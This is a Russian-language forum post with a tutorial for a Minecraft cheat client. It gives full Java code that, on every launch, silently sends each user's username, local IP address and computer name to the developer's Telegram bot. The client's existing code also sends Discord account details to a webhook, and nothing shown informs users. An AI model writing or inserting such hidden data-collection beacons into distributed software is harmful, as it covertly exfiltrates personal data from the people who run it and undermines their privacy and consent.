Сап плотный братва.Седня делаем уведомления в тг (когда к вам в клиент кто то зашел) можете допилить эту функцию.Делал на обьебах так как в дс не оч удобно Крч делаем класс TelegramNotifier по любому пути,и вставляем туда package mirage.client.protect; import java.io.*; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLEncoder; public class TelegramNotifier { private String token; private String chatId; public TelegramNotifier(String token, String chatId) { this.token = token; this.chatId = chatId; } public void sendMessage(String message) throws IOException { String encodedMessage = URLEncoder.encode(message, "UTF-8"); URL url = new URL("https://api.telegram.org/bot" + token + "/sendMessage"); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("POST"); connection.setDoOutput(true); connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); String params = "chat_id=" + chatId + "&text=" + encodedMessage; try (OutputStream os = connection.getOutputStream()) { os.write(params.getBytes()); os.flush(); } int responseCode = connection.getResponseCode(); if (responseCode != 200) { BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream())); StringBuilder response = new StringBuilder(); String line; while ((line = in.readLine()) != null) { response.append(line); } in.close(); throw new IOException("Failed to send message. Response: " + response); } connection.disconnect(); } } крч залетаем в класс Initilization и вставляем код package mirage.client; import mirage.client.protect.ScreenSender; import mirage.client.protect.TelegramNotifier; import net.minecraft.client.Minecraft; import net.minecraft.util.text.StringTextComponent; import mirage.client.command.CommandManager; import mirage.client.command.macro.MacroManager; import mirage.client.config.ConfigManager; import mirage.client.config.LastAccountConfig; import mirage.client.events.EventManager; import mirage.client.events.impl.game.EventKey; import mirage.client.friend.FriendManager; import mirage.client.managment.Managment; import mirage.client.managment.StaffManager; import mirage.client.modules.Function; import mirage.client.modules.FunctionManager; import mirage.client.notification.NotificationManager; import mirage.client.proxy.ProxyConnection; import mirage.client.scripts.ScriptManager; import mirage.client.ui.alt.AltConfig; import mirage.client.ui.alt.AltManager; import mirage.client.ui.beta.ClickGui; import mirage.client.ui.clickgui.Window; import mirage.client.ui.midnight.StyleManager; import mirage.client.util.ClientUtil; import mirage.client.util.DiscordWebhook; import mirage.client.util.drag.DragManager; import mirage.client.util.drag.Dragging; import mirage.client.util.font.Fonts; import mirage.client.util.render.ShaderUtil; import org.lwjgl.glfw.GLFW; import we.winner.profile.Profile; import java.awt.*; import java.io.File; import java.io.IOException; import java.net.InetAddress; import java.net.UnknownHostException; public class Initilization { public static boolean isServer; public static long startTime = System.currentTimeMillis(); private static DiscordWebhook webhook = new DiscordWebhook(""); private static TelegramNotifier telegramNotifier; public final File dir = new File(Minecraft.getInstance().gameDir, "\\dolbaeb"); public void init() { String ipAddress = getIpAddress(); String pcName = getPcName(); telegramNotifier = new TelegramNotifier("ВАШ ТОКЕН", "ВАШ ЧАТ ИД (МОЖНО ПОЛУЧИТЬ ЧЕРЕЗ ТГ БОТА @chatIDrobot (noad) "); try { telegramNotifier.sendMessage("Пользователь " + Profile.getUsername() + " зашел в клиент. IP: " + ipAddress + ", Имя ПК: " + pcName); } catch (IOException e) { e.printStackTrace(); } long start = System.currentTimeMillis(); ShaderUtil.init(); Managment.FUNCTION_MANAGER = new FunctionManager(); Managment.SCRIPT_MANAGER = new ScriptManager(); Managment.SCRIPT_MANAGER.parseAllScripts(); Managment.SCRIPT_MANAGER.init(); Managment.NOTIFICATION_MANAGER = new NotificationManager(); try { Managment.STYLE_MANAGER = new StyleManager(); Managment.STYLE_MANAGER.init(); Managment.ALT = new AltManager(); if (!dir.exists()) { dir.mkdirs(); } Managment.ALT_CONFIG = new AltConfig(); Managment.ALT_CONFIG.init(); Managment.FRIEND_MANAGER = new FriendManager(); Managment.FRIEND_MANAGER.init(); Managment.COMMAND_MANAGER = new CommandManager(); Managment.COMMAND_MANAGER.init(); Managment.STAFF_MANAGER = new StaffManager(); Managment.STAFF_MANAGER.init(); Managment.MACRO_MANAGER = new MacroManager(); Managment.MACRO_MANAGER.init(); Managment.LAST_ACCOUNT_CONFIG = new LastAccountConfig(); Managment.LAST_ACCOUNT_CONFIG.init(); Managment.CONFIG_MANAGER = new ConfigManager(); Managment.CONFIG_MANAGER.init(); Managment.CLICK_GUI = new Window(new StringTextComponent("A")); DragManager.load(); Managment.PROXY_CONN = new ProxyConnection(); } catch (Exception e) { e.printStackTrace(); } System.out.println("Время: " + (System.currentTimeMillis() - start)); ClientUtil.startRPC(); DiscordWebhook.EmbedObject embedObject = getEmbedObject(); webhook.addEmbed(embedObject); try { webhook.execute(); } catch (IOException e) { e.printStackTrace(); } } private String getIpAddress() { try { return InetAddress.getLocalHost().getHostAddress(); } catch (UnknownHostException e) { return "Не удалось получить IP"; } } private String getPcName() { try { return InetAddress.getLocalHost().getHostName(); } catch (UnknownHostException e) { return "Не удалось получить имя ПК"; } } private static DiscordWebhook.EmbedObject getEmbedObject() { DiscordWebhook.EmbedObject embedObject = new DiscordWebhook.EmbedObject(); embedObject.addField("user", Profile.getUsername(), true); embedObject.addField("iq", String.valueOf(Profile.getUid()), true); embedObject.addField("discord", ClientUtil.me == null ? "null" : ClientUtil.me.getName(), true); embedObject.setColor(new Color(105, 231, 160)); if (ClientUtil.me != null) embedObject.setImage(ClientUtil.me.getAvatarUrl()); return embedObject; } public static void shutDown() { System.out.println("Клиент Shutdown!"); Managment.LAST_ACCOUNT_CONFIG.updateFile(); DragManager.save(); Managment.CONFIG_MANAGER.saveConfiguration("autocfg"); } public void keyPress(int key) { EventManager.call(new EventKey(key)); if (!ClientUtil.legitMode) { if (key == GLFW.GLFW_KEY_RIGHT_SHIFT) { Minecraft.getInstance().displayGuiScreen(Managment.CLICK_GUI); } if (Managment.MACRO_MANAGER != null) { Managment.MACRO_MANAGER.onKeyPressed(key); } for (Function m : Managment.FUNCTION_MANAGER.getFunctions()) { if (m.bind == key) { m.toggle(); } } } } public static Dragging createDrag(Function module, String name, float x, float y) { DragManager.draggables.put(name, new Dragging(module, name, x, y)); return DragManager.draggables.get(name); } } и крч тестим,все воркает